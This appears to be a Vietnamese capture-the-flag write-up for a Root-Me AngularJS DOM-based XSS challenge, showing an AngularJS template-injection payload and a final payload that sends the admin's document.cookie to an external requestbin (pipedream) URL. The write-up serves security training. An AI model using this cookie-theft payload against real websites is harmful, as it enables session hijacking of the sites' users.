XSS DOM Based - AngularJS¶
Estimated time to read: 4 minutes
April 04, 2023 · ~5 minutes
Tài nguyên và link challenge¶
Tài nguyên của challenge này tại https://www.root-me.org/en/Challenges/Web-Client/XSS-attack/xss-dom-DOM-Based-AngularJS?lang=en
Link challenge này tại http://challenge01.root-me.org/web-client/ch3-attack/xss-dom5/
Tổng quan¶
Trong challenge này, mục tiêu của ta là ăn cắp được cookie đến từ phía admin. Mà đã cookie đến từ admin thì phải tự tay admin thực thi mới có cookie đó, điều này đồng nghĩa với việc ta cần một thứ gì đó nhằm bắt hành vi của admin và Requestbin là ứng cử viên sáng giá cho việc làm này.
Tiếp theo, ta biết được lệnh lấy cookie đơn giản là document.cookie. Well, ta triển khai kịch bản tấn công thôi nào!
Kịch bản tấn công¶
Bước 1: Kiểm tra website¶
Đầu tiên ta thử gõ vài thứ vào website và xem xét trạng thái như thế nào.
Ta thấy rằng khi ta thêm nội dung deuteri vào website, thì ngay lập tức nội dung này được đưa vào biến name
trong thẻ script và nội dung thẻ script như dưới
Để ý rằng nội dung hàm này muốn encode thứ mà ta nhập vào. Nhưng việc hiểu code ở ngữ cảnh này là điều không quan trọng, mục tiêu của ta là chèn payload như nào để có thể bypass được đống code này.
Ta thử dùng cách bypass bình thường để gọi thông báo "1" bằng deuteri';alert(1);
xem chuyện gì sẽ xảy ra
Không ngoài dự đoán, chả có chuyện gì xảy ra cả ::). Nó filter payload bất định và convert payload đơn thuần về 1 biến đơn thuần như hình dưới. Cụ thể nó xóa đi kí tự '
.
Bước 2: Tiêm payload¶
Ta sẽ kiểm tra XSS cheatsheet AngularJS thì ta nhận được cú pháp {{constructor.constructor("alert(1)")()}}
là cú pháp đúng để hiển thị hộp thoại thông báo 1
lên màn hình.
Well, bây giờ ta chỉ việc tạo thêm
Bước 3: Giải quyết challenge¶
Từ bước 2, ta đã biết được cú pháp tiêm payload để thực thi script do mình tạo ra.
Ở bước này ta sẽ tiến hành tiêm payload nhằm lấy cookie của admin bằng document.cookie
với cú pháp đầy đủ của AngularJS: {{constructor.constructor("document.location=\"https://eo1bklmdt6o4sv.m.pipedream.net?cookie=\\"+document.cookie")()}}
Và tiếp theo ta chỉ cần đợi hành vi từ admin